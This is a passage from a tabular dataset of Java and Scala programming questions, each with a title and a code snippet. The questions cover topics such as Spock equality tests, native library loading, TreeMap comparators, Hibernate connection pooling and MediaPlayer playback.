r.C = r1.C ; return r ; } throw new IllegalArgumentException ( `` Unable to merge these two records ! `` ) ; }",Optimal merging of triplets +Java,"I have following Java class : And the following Spock test : Then when running coverage , the first statement animal1 == animal1 does not reach equals ( o ) method : Is there any reason why Groovy/Spock are not running the first statement ? I assume a micro-optimization but then when I would make a mistake like the test is still green . Why is this happening ? Edit on a Sunday morning : I did some more testing and found out that it is even not an optimization but causing overhead on even a significant amount of invocations , when running this test : I expected this test to succeed but I ran it several times and it was never green ... When even more increasing to 1B invocations , the optimization becomes visible :","import org.apache.commons.lang3.builder.EqualsBuilder ; public class Animal { private final String name ; private final int numLegs ; public Animal ( String name , int numLegs ) { this.name = name ; this.numLegs = numLegs ; } @ Override public boolean equals ( Object o ) { if ( this == o ) { return true ; } if ( o == null || getClass ( ) ! = o.getClass ( ) ) { return false ; } Animal animal = ( Animal ) o ; return new EqualsBuilder ( ) .append ( numLegs , animal.numLegs ) .append ( name , animal.name ) .isEquals ( ) ; } } import spock.lang.Specificationclass AnimalSpec extends Specification { def 'animal with same name and numlegs should be equal ' ( ) { when : def animal1 = new Animal ( `` Fluffy '' , 4 ) def animal2 = new Animal ( `` Fluffy '' , 4 ) def animal3 = new Animal ( `` Snoopy '' , 4 ) def notAnAnimal = 'some other object ' then : animal1 == animal1 animal1 == animal2 animal1 ! = animal3 animal1 ! = notAnAnimal } } @ Overridepublic boolean equals ( Object o ) { if ( this == o ) { return false ; } if ( o == null || getClass ( ) ! = o.getClass ( ) ) { return false ; } Animal animal = ( Animal ) o ; return new EqualsBuilder ( ) .append ( numLegs , animal.numLegs ) .append ( name , animal.name ) .isEquals ( ) ; } class AnimalSpec extends Specification { def 'performance test of == vs equals ' ( ) { given : def animal = new Animal ( `` Fluffy '' , 4 ) when : def doubleEqualsSignBenchmark = 'benchmark 1M invocation of == on ' ( animal ) def equalsMethodBenchmark = 'benchmark 1M invocation of .equals ( o ) on ' ( animal ) println `` 1M invocation of == took $ { doubleEqualsSignBenchmark } ms and 1M invocations of .equals ( o ) took $ { equalsMethodBenchmark } ms '' then : doubleEqualsSignBenchmark < equalsMethodBenchmark } long 'benchmark 1M invocation of == on ' ( Animal animal ) { return benchmark { def i = { animal == animal } 1.upto ( 1_000_000 , i ) } } long 'benchmark 1M invocation of .equals ( o ) on ' ( Animal animal ) { return benchmark { def i = { animal.equals ( animal ) } 1.upto ( 1_000_000 , i ) } } def benchmark = { closure - > def start = System.currentTimeMillis ( ) closure.call ( ) def now = System.currentTimeMillis ( ) now - start } } 1M invocation of == took 164 ms and 1M invocations of .equals ( o ) took 139msCondition not satisfied : doubleEqualsSignBenchmark < equalsMethodBenchmark| | |164 | 139 false 1B invocation of == took 50893 ms and 1B invocations of .equals ( o ) took 75568ms",Groovy == operator does not reach Java equals ( o ) method - how is it possible ? +Java,"I am using a native C++ library inside a Java program . The Java program is written to make use of many-core systems , but it does not scale : the best speed is with around 6 cores , i.e. , adding more cores slows it down . My tests show that the call to the native code itself causes the problem , so I want to make sure that different threads access different instances of the native library , and therefore remove any hidden ( memory ) dependency between the parallel tasks.In other words , instead of the static blockI want multiple instances of the library to be loaded , for each thread dynamically . The main question is if that is possible at all . And then how to do it ! Notes : - I have implementations in Java 7 fork/join as well as Scala/akka . So any help in each platform is appreciated.- The parallel tasks are completely independent . In fact , each task may create a couple of new tasks and then terminates ; no further dependency ! Here is the test program in fork/join style , in which processNatively is basically a bunch of native calls : Putting it differently : If I have N threads that use a native library , what happens if each of them calls System.loadLibrary ( `` theNativeLib '' ) ; dynamically , instead of calling it once in a static block ? Will they share the library anyway ? If yes , how can I fool JVM into seeing it as N different libraries loaded independently ? ( The value of N is not known statically )","static { System.loadLibrary ( `` theNativeLib '' ) ; } class Repeater extends RecursiveTask < Long > { final int n ; final processor mol ; public Repeater ( final int m , final processor o ) { n=m ; mol = o ; } @ Override protected Long compute ( ) { processNatively ( mol ) ; final List < RecursiveTask < Long > > tasks = new ArrayList < > ( ) ; for ( int i=n ; i < 9 ; i++ ) { tasks.add ( new Repeater ( n+1 , mol ) ) ; } long count = 1 ; for ( final RecursiveTask < Long > task : invokeAll ( tasks ) ) { count += task.join ( ) ; } return count ; } } private final static ForkJoinPool forkJoinPool = new ForkJoinPool ( ) ; public void repeat ( processor mol ) { final long middle = System.currentTimeMillis ( ) ; final long count = forkJoinPool.invoke ( new Repeater ( 0 , mol ) ) ; System.out.println ( `` Count is `` +count ) ; final long after = System.currentTimeMillis ( ) ; System.out.println ( `` Time elapsed : `` + ( after-middle ) ) ; }",Multicore Java Program with Native Code +Java,"It seems that Javassist 's API allows us to create an exactly copy of the class initializer ( ie. , static constructor ) declared in a class : however , that copy also includes ( public/private ) static final fields . for example , the static constructor of the following class : is in fact : and therefore , an exactly copy of the static constructor will also include that call to the final field `` name '' .Is there any way of creating a copy of a static constructor which does not include calls to final fields ? -- Thanks","CtClass cc = ... ; CtConstructor staticConstructor = cc.getClassInitializer ( ) ; if ( staticConstructor ! = null ) { CtConstructor staticConstructorClone = new CtConstructor ( staticConstructor , cc , null ) ; staticConstructorClone.getMethodInfo ( ) .setName ( __NEW_NAME__ ) ; staticConstructorClone.setModifiers ( Modifier.PUBLIC | Modifier.STATIC ) ; cc.addConstructor ( staticConstructorClone ) ; } public class Example { public static final Example ex1 = new Example ( `` __EX_1__ '' ) ; private String name ; private Example ( String name ) { this.name = name ; } } static { Example.ex1 = `` __NAME__ '' ; }",Create a clone of a static constructor with Javassist +Java,"I am trying to sort a map based on word frequency ( i.e. , based on value ) . For that I have overridden comparator and passed to TreeMap , but I am getting this weird output.Output : Expected Output :","public class WordFrequency { public static String sentence = `` one three two two three three four four four '' ; public static Map < String , Integer > map ; public static void main ( String [ ] args ) { map = new HashMap < > ( ) ; String [ ] words = sentence.split ( `` \\s '' ) ; for ( String word : words ) { Integer count = map.get ( word ) ; if ( count == null ) { count = 1 ; } else { ++count ; } map.put ( word , count ) ; } Comparator < String > myComparator = new Comparator < String > ( ) { @ Override public int compare ( String s1 , String s2 ) { if ( map.get ( s1 ) < map.get ( s2 ) ) { return -1 ; } else if ( map.get ( s1 ) > map.get ( s2 ) ) { return 1 ; } else { return 0 ; } } } ; SortedMap < String , Integer > sortedMap = new TreeMap < String , Integer > ( myComparator ) ; System.out.println ( `` Before sorting : `` + map ) ; sortedMap.putAll ( map ) ; System.out.println ( `` After Sorting based on value : '' + sortedMap ) ; } } Before sorting : { two=2 , one=1 , three=3 , four=3 } After sorting based on value : { one=1 , two=2 , three=3 } { one=1 , two=2 , four=3 , three=3 }","While sorting the map based on value , some values are missing . What causes this weird behaviour ?" +Java,"Does this code solve the double checked locking issue in Java ? There are 2 aspects to pay attention : getInstance ( ) is not synchronized , so after INSTANCE is initialized there is no cost for synchronizationcreateInstance ( ) is synchronizedSo , the question is : does this code have any issues ? Is it legal and always thread-safe ?",public class DBAccessService ( ) { private static DBAccessService INSTANCE ; private DBAccessService ( ) { } public static DBAccessService getInstance ( ) { if ( INSTANCE ! = null ) { return INSTANCE ; } return createInstance ( ) ; } private static synchronized DBAccessService createInstance ( ) { if ( INSTANCE ! = null ) { return INSTANCE ; } DBAccessService instance = new DBAccessService ( ) ; INSTANCE = instance ; return INSTANCE ; } },Does this code solve the double checked locking issue in Java ? +Java,"In java.util.DualPivotQuicksort , the following line of code appears : The variable length is an int greater than or equal to 47.I am familiar with how the signed right shift operator works . But I do not know why these particular operations result in an approximation of division by 7 . Could someone explain please ?",// Inexpensive approximation of length / 7int seventh = ( length > > 3 ) + ( length > > 6 ) + 1 ;,How does this approximation of division using bit shift operations work ? +Java,"In order to keep implementation details from leaking , instead of returning , e.g. , a Collection < MyCoolObject > , one might implement Iterable < MyCoolObject > , which would then require implementing Iterator < T > from the Iterable Interface . Thus however the internal data structure is managed , the access to the elements is via the Iterator.With Java 8 , one might wish to add Stream < MyCoolObject > stream ( ) to MyCoolObject . ( See also : recommendation to support stream in the book Java 8 Lambdas ) . While adding the method is n't difficult ( and I did read the Question about Why Iterable Does n't Provide Stream ) , it seems odd that Java did not add an Interface for Streamable < T > to mirror the Iterable < T > idea . ( Well , a different name perhaps since Streamable exists for the ever use CORBA stuff ) . I think I followed the Answer about why adding Stream to Iterable was potentially problematic , but I do not see why a Streaming < T > interface could n't have been provided . For example , Collections could have implemented the Streaming < T > interface , and it would make it clearer for other objects that one could expect a stream ( ) method.Based upon an Answer to the above referenced Question , it is possible to get a Stream from the Iterable via but that seems like a lot of work given that MyObject could would like to just implement stream ( ) to allow a user of the object to dowithout the intervening conversion from the iterator.Is there a reason for the lack of an interface for streaming capable objects ? Is there a better approach than just implementing stream ( ) on MyCoolObject and letting someone look through the Javadoc so they know it has a stream ( ) method ? Or , is quite likely , am I misunderstanding something about the approach for Stream ? ( Also , I implement stream ( ) in CoolObject , but then forget to implement parallelStream ( ) , which is something that would be alleviated by having the interface ) .","Stream s = StreamSupport.stream ( iter.spliterator ( ) , false ) ; myObject.stream ( ) .filter ( ... ) .collect ( ... )",Why is n't there an Interface for something that provides a Stream < E > ? +Java,"I have a method having an array parameter like : And also I can call the method by writing likeNormally , we declare and initialize an array by new operator or double braces initializer like { 1 , 2 , 3 } . For example , int [ ] foo = new int [ 3 ] ; or int [ ] foo = { 1 , 2 , 3 } ; .But it 's impossible to use double brace initializer as a parameter for a method . { } is only available for creating an array object.And here is my question : Are there any differences between new operator and { } ? If there is , what is it ?",public static void foo ( int [ ] param ) { // Some code } foo ( new int [ 3 ] ) ;,Double brace initializer and array +Java,"I have a scala function which returns a util.Map [ String ] , util.Set [ String ] .I am simply calling this method on a set of these objects to get a util.Set [ util.Map [ String ] , util.Set [ String ] ] .When I inspect unevaluatedacls , I see that it is of the type HashSet . But its elements are of the type Wrappers $ MapWrapper instead of util.Map . As a result of this , I am unable to persist this object . I can not understand this behavior . When I try the unevaluatedacls also changes to Wrapper $ SetWrapper . Is it because I am somehow trying to convert immutable scala collections to java collections ? I know that only mutable scala collections are compatible to be converted to corresponding java collections using JavaConverters","def getAcls ( ) : Map [ String , Set [ String ] ] = { ( ( for ( groupRole : GroupRoleAccess < - groupRoleAccess ; user < - groupService.getGroup ( groupRole.groupId ) .getUsers ; permissions = roleService.getRole ( groupRole.roleId ) .getPermissions ) yield user.getUserId - > permissions ) .groupBy ( _._1 ) .map { case ( k , v ) = > ( k , v.flatMap ( _._2 ) .asJava ) } ) } var unevaluatedacls = for ( aclTemplate < - aclTemplates ) yield aclTemplate.getAcls var unevaluatedacls = ( for ( aclTemplate < - aclTemplates ) yield aclTemplate.getAcls ) .asJava",Scala converters convert Java collections to Wrapper objects +Java,"This is a follow-up to my previous question but since the previous thread was a long one , i decided to start another thread pertaining to the almost same topic . Note : If you move your cursor over each clause , you will see the inference being generated and displayed on Eclipse : a . Clause ( 1 ) will produce < ? extends Object > test1 < ? extends Object , ? extends Object > b . Clause ( 2 ) will produce exactly what 's defined in the actual type parameter c. Clause ( 3 ) will produce < Object > test3 < Object , List < Object > > Questions : Why clause ( 1 ) did n't produce < Object > ? Since < Object > works as shown in clause ( 2 ) , why < ? extends Object > being produce instead ? why clause ( 3 ) produce < Object > instead of < ? extends Object > ? Since clause ( 4 ) uses the same variable , why 2 different type capture generated eventhough the parameter used is of the same variable d ?","public class GenericMethodInference { static < T > void test1 ( T t1 , T t2 ) { } static < T > void test3 ( T t1 , List < T > t2 ) { } static < T > void test4 ( List < T > t1 , List < T > t2 ) { } public static void main ( String [ ] args ) { List < Object > c = new LinkedList < Object > ( ) ; List < ? extends Object > d = new ArrayList < Integer > ( ) ; List e = new ArrayList < Integer > ( ) ; test1 ( `` Hello '' , new Integer ( 1 ) ) ; // ok clause ( 1 ) GenericMethodInference. < Object > test1 ( `` Hello '' , new Integer ( 1 ) ) ; // ok clause ( 2 ) test3 ( `` Hello '' , c ) ; // ok clause ( 3 ) test4 ( d , d ) // clause ( 4 ) Error due to different type capture generated }",Java Generics : Question regarding type capture and generated inference using generic methods +Java,"I 'm trying to write this selection sort from high to low and I 'm not quite sure how to do that . I 'm pretty new to sorting algorithms.The reason to why I 'm trying to change it is that the selection sort here runs through the remaining part of the array , looking for the minimum value and then swaps it to the front.I want to change the algorithm so that it also looks for the maximum value in the remaining part , and swaps it to the back , so that it builds up a sorted list from the front and the back at the same time.All help would be appreciated : )","public void selectionSort ( String [ ] data ) { // for each position , from 0 up , find the next smallest item // and swap it into place for ( int place=0 ; place < data.length-1 ; place++ ) { int minIndex = place ; for ( int sweep=place+1 ; sweep < data.length ; sweep++ ) { if ( data [ sweep ] .compareTo ( data [ minIndex ] ) < 0 ) minIndex=sweep ; } swap ( data , place , minIndex ) ; } }",How to reverse selection sort +Java,"I 'm interested to know if there is an interface that I can use to tell Spring to start a particular bean up , invoke its initialization procedure ( either as an InitializingBean via afterPropertiesSet ( ) , or via an init-method , or some other way ) , and then throw it away.My use case is a simple `` sanity-checker '' that will check the database for valid values upon startup for a web application . Although the overhead would be small for our particular bean , keeping that bean for all eternity in the application context is pointless , as once the bean had initialized , it is no longer needed.I 'm sure there are other use cases for this type of behavior , but I have n't found anything like this yet in Spring.In particular , I 'm looking for it in the Java variant of Spring , I have access to 3.x and up as needed.EDIT : based on the accepted answer , the following is a simple hack to provide the solution : Placing this bean post processor with the appropriate beans to discard in the application context will make them null , and eligible for garbage collection after they 've been initialized . The bean configuration metadata , unfortunately , will still remain in the application context .","public final class NullReturningBeanPostProcessor implements BeanPostProcessor { private List < String > beanNamesToDiscard = new ArrayList < String > ( ) ; /** * Creates a new { @ link NullReturningBeanPostProcessor } instance . */ public NullReturningBeanPostProcessor ( ) { super ( ) ; } public Object postProcessBeforeInitialization ( Object bean , String beanName ) throws BeansException { return bean ; } public Object postProcessAfterInitialization ( Object bean , String beanName ) throws BeansException { if ( beanNamesToDiscard.contains ( beanName ) ) { return null ; } return bean ; } public void setBeanNamesToDiscard ( List < String > beanNamesToDiscard ) { if ( beanNamesToDiscard ! = null ) { this.beanNamesToDiscard = beanNamesToDiscard ; } } }",Is there a way to specify to Spring that a bean should be used upon initialization and then immediately discarded ? +Java,What would be the best way of handling null if we have senario like below,"//mocking for demonstraton studentsByCourseRoster.setUsers ( null ) ; studentsByCourseRoster.getUsers ( ) .stream ( ) .forEach ( user - > { final UserDTOv2 userDTO = new UserDTOv2 ( ) ; userDTO.populateUserDataFromUserDTO ( user , groupedUsers ) ; users.add ( userDTO ) ; } ) ;",Handling null in java streams with optional +Java,"Consider this code snippet : When running this code , I would expect to see two X in your console . However , the real output is : 88 XIf we take a look at the Java specifications regarding the ternary operator , we found that If one of the operands is of type T where T is byte , short , or char , and the other operand is a constant expression of type int whose value is representable in type T , then the type of the conditional expression is T.So the first output considers the ' X ' char as an int , that 's why it prints 88.However , I am not sure to understand why the use of final changes the behavior for the second output .",public static void main ( String [ ] args ) { int z1 = 0 ; final int z2 = 0 ; System.out.println ( false ? z1 : ' X ' ) ; System.out.println ( false ? z2 : ' X ' ) ; },Unexpected output when using a ternary operator and final variable +Java,"I 'd been programming in C # , but was frustrated by the limitations of its type system . One of the first things , I learned about Scala was that Scala has higher kinded generics . But even after I 'd looked at a number of articles , blog entries and questions I still was n't sure what higher kinded generics were . Anyway I 'd written some Scala code which compiled fine , Does this snippet use higher kinds ? And then I thought maybe I 'm already using higher kinded generics . As I understand it I was , but then as I now I understand it I had already been happily using higher kinded types in C # before I 'd even heard of Scala . Does this snipet use higher kinded type ? So to avert further confusion I thought it would be useful to clarify for each of Java , C # and Scala what they allow in terms of Higher kinded types , wild cards and the use of open / partially open types . As the key difference between C # and Scala seems to be that Scala allows wild cards and open types , where as C # has no wild card and requires all generic types to be closed before use . I know they are some what different but I think it would be useful to relate the existence of these features to their equivalent in C++ Templates.So is the following correct ? This table has been corrected for Alexey 's answer","abstract class Descrip [ T < : DTypes , GeomT [ _ < : DTypes ] < : GeomBase [ _ ] ] ( newGeom : NewGeom [ GeomT ] ) { type GeomType = GeomT [ T ] val geomM : GeomT [ T ] = newGeom.apply [ T ] ( ) } namespace ConsoleApplication3 { class Class1 < T > { List < List < T > > listlist ; } } Lang : Higher-kind Wild-card Open-typesScala yes yes yesC # no no noJava no yes noC++ yes yes yes","Scala : Higher kinded , open-type and wild card generics in Java , C # , Scala and C++" +Java,"Does hibernate SessionFactory.openSession ( ) wait for a database connection to be available from pool ? I assumed it did , but I have customer with this exceptionmaking me think it is n't , or is it waiting for a certain time and then giving up , I am using Hibernate 4.3.11 with C3p0 and H2 1.5My Hibernate config is","org.hibernate.exception.GenericJDBCException : Could not open connection at org.hibernate.exception.internal.StandardSQLExceptionConverter.convert ( StandardSQLExceptionConverter.java:54 ) at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert ( SqlExceptionHelper.java:126 ) at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert ( SqlExceptionHelper.java:112 ) at org.hibernate.engine.jdbc.internal.LogicalConnectionImpl.obtainConnection ( LogicalConnectionImpl.java:235 ) at org.hibernate.engine.jdbc.internal.LogicalConnectionImpl.getConnection ( LogicalConnectionImpl.java:171 ) at org.hibernate.engine.transaction.internal.jdbc.JdbcTransaction.doBegin ( JdbcTransaction.java:67 ) at org.hibernate.engine.transaction.spi.AbstractTransactionImpl.begin ( AbstractTransactionImpl.java:162 ) at org.hibernate.internal.SessionImpl.beginTransaction ( SessionImpl.java:1471 ) at com.jthink.songlayer.hibernate.HibernateUtil.beginTransaction ( HibernateUtil.java:192 ) at com.jthink.songkong.analyse.analyser.MusicBrainzSongMatcher.call ( MusicBrainzSongMatcher.java:83 ) at com.jthink.songkong.analyse.analyser.MusicBrainzSongMatcher.call ( MusicBrainzSongMatcher.java:35 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at com.jthink.songkong.analyse.analyser.MainAnalyserService $ EnsureIncreaseCountIfRunOnCallingThread.rejectedExecution ( MainAnalyserService.java:100 ) at java.util.concurrent.ThreadPoolExecutor.reject ( ThreadPoolExecutor.java:830 ) at java.util.concurrent.ThreadPoolExecutor.execute ( ThreadPoolExecutor.java:1379 ) at java.util.concurrent.AbstractExecutorService.submit ( AbstractExecutorService.java:134 ) at com.jthink.songkong.analyse.analyser.MainAnalyserService.submit ( MainAnalyserService.java:121 ) at com.jthink.songkong.analyse.analyser.MusicBrainzMetadataMatcher.processMetadataFailedToMatch ( MusicBrainzMetadataMatcher.java:107 ) at com.jthink.songkong.analyse.analyser.MusicBrainzMetadataMatcher.call ( MusicBrainzMetadataMatcher.java:381 ) at com.jthink.songkong.analyse.analyser.MusicBrainzMetadataMatcher.call ( MusicBrainzMetadataMatcher.java:34 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) Caused by : java.sql.SQLException : Connections could not be acquired from the underlying database ! at com.mchange.v2.sql.SqlUtils.toSQLException ( SqlUtils.java:118 ) at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool.checkoutPooledConnection ( C3P0PooledConnectionPool.java:689 ) at com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource.getConnection ( AbstractPoolBackedDataSource.java:140 ) at org.hibernate.c3p0.internal.C3P0ConnectionProvider.getConnection ( C3P0ConnectionProvider.java:90 ) at org.hibernate.internal.AbstractSessionImpl $ NonContextualJdbcConnectionAccess.obtainConnection ( AbstractSessionImpl.java:380 ) at org.hibernate.engine.jdbc.internal.LogicalConnectionImpl.obtainConnection ( LogicalConnectionImpl.java:228 ) ... 20 moreCaused by : com.mchange.v2.resourcepool.CannotAcquireResourceException : A ResourcePool could not acquire a resource from its primary factory or source . at com.mchange.v2.resourcepool.BasicResourcePool.awaitAvailable ( BasicResourcePool.java:1418 ) at com.mchange.v2.resourcepool.BasicResourcePool.prelimCheckoutResource ( BasicResourcePool.java:606 ) at com.mchange.v2.resourcepool.BasicResourcePool.checkoutResource ( BasicResourcePool.java:526 ) at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool.checkoutAndMarkConnectionInUse ( C3P0PooledConnectionPool.java:755 ) at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool.checkoutPooledConnection ( C3P0PooledConnectionPool.java:682 ) config.setProperty ( `` hibernate.c3p0.min_size '' , '' 1 '' ) ; config.setProperty ( `` hibernate.c3p0.max_size '' , '' 50 '' ) ; config.setProperty ( `` hibernate.c3p0.max_statements '' , '' 3000 '' ) ; config.setProperty ( `` hibernate.c3p0.timeout '' , '' 2000 '' ) ; config.setProperty ( `` hibernate.c3p0.maxStatementsPerConnection '' , '' 50 '' ) ; config.setProperty ( `` hibernate.c3p0.idle_test_period '' , '' 3000 '' ) ; config.setProperty ( `` hibernate.c3p0.acquireRetryAttempts '' , '' 10 '' ) ;",Does hibernate SessionFactory.openSession ( ) wait for a database connection to be available from pool +Java,"I have a little problem with one JAVA program . I am trying to do a InsertionSort algorithm , but it seems to be the problem with converting String that program gets via stdin . It seems like program is working with few numbers , but it does n't work with these numbers : https : //dl.dropboxusercontent.com/u/57540732/numbers.txtThis is my algorithm : It works with few numbers , but not with that files I provided to you . I get following exception : I do n't know why I get this exception , because input string is a number ( 4531 ) . Any suggestions ? I ca n't copy and paste al of the numbers from file to terminal , so I am using this command :","public class Sort { private static ArrayList < String > insertionSort ( ArrayList < String > arr ) { for ( int i = 1 ; i < arr.size ( ) ; i++ ) { int valueToSort = Integer.parseInt ( arr.get ( i ) .trim ( ) ) ; int j = i ; while ( j > 0 & & Integer.parseInt ( arr.get ( j - 1 ) .trim ( ) ) > valueToSort ) { arr.set ( j , arr.get ( j-1 ) ) ; j -- ; } arr.set ( j , Integer.toString ( valueToSort ) ) ; } return arr ; } public static void main ( String [ ] args ) { Scanner sc = new Scanner ( System.in ) ; ArrayList < String > al ; String inputNumbers = sc.nextLine ( ) ; String [ ] xs = inputNumbers.split ( `` `` ) ; al = new ArrayList < String > ( Arrays.asList ( xs ) ) ; al = insertionSort ( al ) ; for ( int i = 0 ; i < al.size ( ) ; i++ ) { System.out.print ( al.get ( i ) + `` `` ) ; } } } Exception in thread `` main '' java.lang.NumberFormatException : For input string : `` 4531 '' at java.lang.NumberFormatException.forInputString ( NumberFormatException.java:65 ) at java.lang.Integer.parseInt ( Integer.java:580 ) at java.lang.Integer.parseInt ( Integer.java:615 ) at Sort.insertionSort ( Sort.java:10 ) at Sort.main ( Sort.java:25 ) javac Sort.javajava Sort < numbers.txt",NumberFormatException for String that appears to be a number +Java,"I am currently working on Chat application . In this there is feature of sending voice notes . The sending and playing of voice notes is working fine . But the problem is that when I play the voice notes , the previous voice notes playing not stoping.. both are playing together.here is my code for playing voice notes , here the mPlayer.isPlaying always gets false.Please Help me !","public static class MessageViewHolder extends RecyclerView.ViewHolder { private TextView messageTextView ; private ImageView messageImageView ; private TextView timeTextView ; private LinearLayout textMessageLayout ; private TextView messengerNameTextView ; private CircleImageView messengerPhotoImageView ; ImageView leftQuackImage , rightQuackImage ; private LinearLayout voiceNotesLayout ; private ImageView playImageView , stopImageView ; private SeekBar progressSeekbar ; private MediaPlayer mPlayer ; double timeElapsed = 0 , finalTime = 0 ; Handler durationHandler = new Handler ( ) ; Runnable updateSeekBarTime ; boolean isPlaying ; public MessageViewHolder ( View itemView ) { super ( itemView ) ; messageTextView = ( TextView ) itemView.findViewById ( R.id.messageTextView ) ; messageImageView = ( ImageView ) itemView.findViewById ( R.id.messageImageView ) ; timeTextView = ( TextView ) itemView.findViewById ( R.id.timeTextView ) ; textMessageLayout = ( LinearLayout ) itemView.findViewById ( R.id.textMessageLayout ) ; messengerNameTextView = ( TextView ) itemView.findViewById ( R.id.messengerTextView ) ; messengerPhotoImageView = ( CircleImageView ) itemView.findViewById ( R.id.messengerImageView ) ; leftQuackImage = ( ImageView ) itemView.findViewById ( R.id.leftQuackImage ) ; rightQuackImage = ( ImageView ) itemView.findViewById ( R.id.rightQuackImage ) ; voiceNotesLayout = ( LinearLayout ) itemView.findViewById ( R.id.voiceNotesLayout ) ; playImageView = ( ImageView ) itemView.findViewById ( R.id.playImageView ) ; stopImageView = ( ImageView ) itemView.findViewById ( R.id.stopImageView ) ; progressSeekbar = ( SeekBar ) itemView.findViewById ( R.id.progressSeekbar ) ; isPlaying = false ; mPlayer = new MediaPlayer ( ) ; } public void setupAudioPlay ( final long duration , final String url ) { progressSeekbar.setMax ( ( int ) duration ) ; progressSeekbar.setClickable ( false ) ; mPlayer.setAudioStreamType ( AudioManager.STREAM_MUSIC ) ; try { mPlayer.setDataSource ( url ) ; mPlayer.prepareAsync ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } catch ( IllegalStateException e ) { e.printStackTrace ( ) ; } playImageView.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { Log.e ( `` Media player '' , '' isPlaying '' +mPlayer.isPlaying ( ) +isPlaying ) ; if ( mPlayer.isPlaying ( ) ) { mPlayer.stop ( ) ; mPlayer.release ( ) ; mPlayer = null ; } if ( ! isPlaying ) { isPlaying = true ; mPlayer.start ( ) ; playImageView.setVisibility ( View.GONE ) ; stopImageView.setVisibility ( View.VISIBLE ) ; timeElapsed = mPlayer.getCurrentPosition ( ) ; progressSeekbar.setProgress ( ( int ) timeElapsed ) ; durationHandler.postDelayed ( updateSeekBarTime , 100 ) ; } else { isPlaying = false ; mPlayer.pause ( ) ; } } } ) ; stopImageView.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { if ( isPlaying ) { if ( stopPlaying ( ) ) { playImageView.setVisibility ( View.VISIBLE ) ; stopImageView.setVisibility ( View.GONE ) ; } } } } ) ; mPlayer.setOnCompletionListener ( new MediaPlayer.OnCompletionListener ( ) { @ Override public void onCompletion ( MediaPlayer mp ) { if ( mp ! = null ) { mPlayer.seekTo ( 0 ) ; isPlaying = false ; progressSeekbar.setProgress ( 0 ) ; } playImageView.setVisibility ( View.VISIBLE ) ; stopImageView.setVisibility ( View.GONE ) ; } } ) ; updateSeekBarTime = new Runnable ( ) { public void run ( ) { if ( mPlayer ! = null ) { if ( mPlayer.isPlaying ( ) ) { timeElapsed = mPlayer.getCurrentPosition ( ) ; progressSeekbar.setProgress ( ( int ) timeElapsed ) ; durationHandler.postDelayed ( this , 100 ) ; } else { mPlayer.pause ( ) ; isPlaying = false ; progressSeekbar.setProgress ( 0 ) ; playImageView.setVisibility ( View.VISIBLE ) ; stopImageView.setVisibility ( View.GONE ) ; } } } } ; } private boolean stopPlaying ( ) { mPlayer.pause ( ) ; mPlayer.seekTo ( 0 ) ; if ( ! mPlayer.isPlaying ( ) ) { return true ; } return false ; } }",mediaplayer.isPlaying always gets false +Java,In my project I alway use < dependency > < dependency > but I can see < parent > < /parent > in some project pom.xml like : so I want to konw when to use it .,< parent > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-parent < /artifactId > < version > 1.5.2.RELEASE < /version > < /parent >,what is the difference between < parent > < /parent > and < dependency > < dependency > in maven ? +Java,"There are two methods : And I test them like this in the main method : Intuitively , I think as String.split will eventually call Pattern.compile.split ( after a lot of extra work ) to do the real thing . I can construct the Pattern object in advance ( it is thread safe ) and speed up the splitting.But the fact is , using the pre-constructed Pattern is much slower than calling String.split directly . I tried a 50-character-long string on them ( using MyEclipse ) , the direct call consumes only half the time of using pre-constructed Pattern object.Please can someone tell me why this happens ?",private static void normalSplit ( String base ) { base.split ( `` \\ . `` ) ; } private static final Pattern p = Pattern.compile ( `` \\ . `` ) ; private static void patternSplit ( String base ) { //use the static field above p.split ( base ) ; } public static void main ( String [ ] args ) throws Exception { long start = System.currentTimeMillis ( ) ; String longstr = `` a.b.c.d.e.f.g.h.i.j '' ; //use any long string you like for ( int i=0 ; i < 300000 ; i++ ) { normalSplit ( longstr ) ; //switch to patternSplit to see the difference } System.out.println ( ( System.currentTimeMillis ( ) -start ) /1000.0 ) ; },Pattern.split slower than String.split +Java,"Consider the following code : If I compile it with : It returns : Please note that only the generic method is considered unsafe , even if no generic type is referenced on the return type.Is this a javac bug ? Or there is a deeper reason for this I 'm not taking into account ?",public class Main { public static class NormalClass { public Class < Integer > method ( ) { return Integer.class ; } } public static class GenericClass < T > { public Class < Integer > method ( ) { return Integer.class ; } } public static void main ( String ... args ) { NormalClass safeInstance = new NormalClass ( ) ; Class < Integer > safeValue = safeInstance.method ( ) ; GenericClass unsafeInstance = new GenericClass ( ) ; Class < Integer > unsafeValue = unsafeInstance.method ( ) ; } } $ javac -Xlint : unchecked Main.java Main.java:16 : warning : [ unchecked ] unchecked conversion Class < Integer > unsafeValue = unsafeInstance.method ( ) ; ^ required : Class < Integer > found : Class1 warning,Why calling method with generic return on a generic class is considered unsafe by javac ? +Java,"I need a builder library that can be called from Scala and Java . Easy enough in Scala using default , named parameters . But how do I call this code from Java ? See below . Or perhaps I should go with a fluent API that is more common to both languages ? Scala : Usage : Java Usage :","case class Person ( gender : Gender.Value , firstName : String , lastName : String ) { def fullName = lastName+ '' , `` +firstName override def toString = firstName+ '' , '' +lastName+ '' , '' +gender } case class PersonBob ( gender : Gender = GenderBob ( ) .build , firstName : String = null , lastName : String = null ) { def build = Person ( gender , if ( firstName == null ) NameBob ( if ( gender==Gender.Male ) engMaleNames else engFemaleNames ) .build else firstName , if ( lastName==null ) NameBob ( engLastNames ) .build else lastName ) } val p1 = PersonBob ( ) .buildval p2 = PersonBob ( lastName = `` Jones '' ) .build Person p1 = ? Person p2 = ?",Builder Library for Scala and Java +Java,"I am trying to extract and count the number of different elements in the values of a map . The thing is that it 's not just a map , but many of them and they 're to be obtained from a list of maps.Specifically , I have a 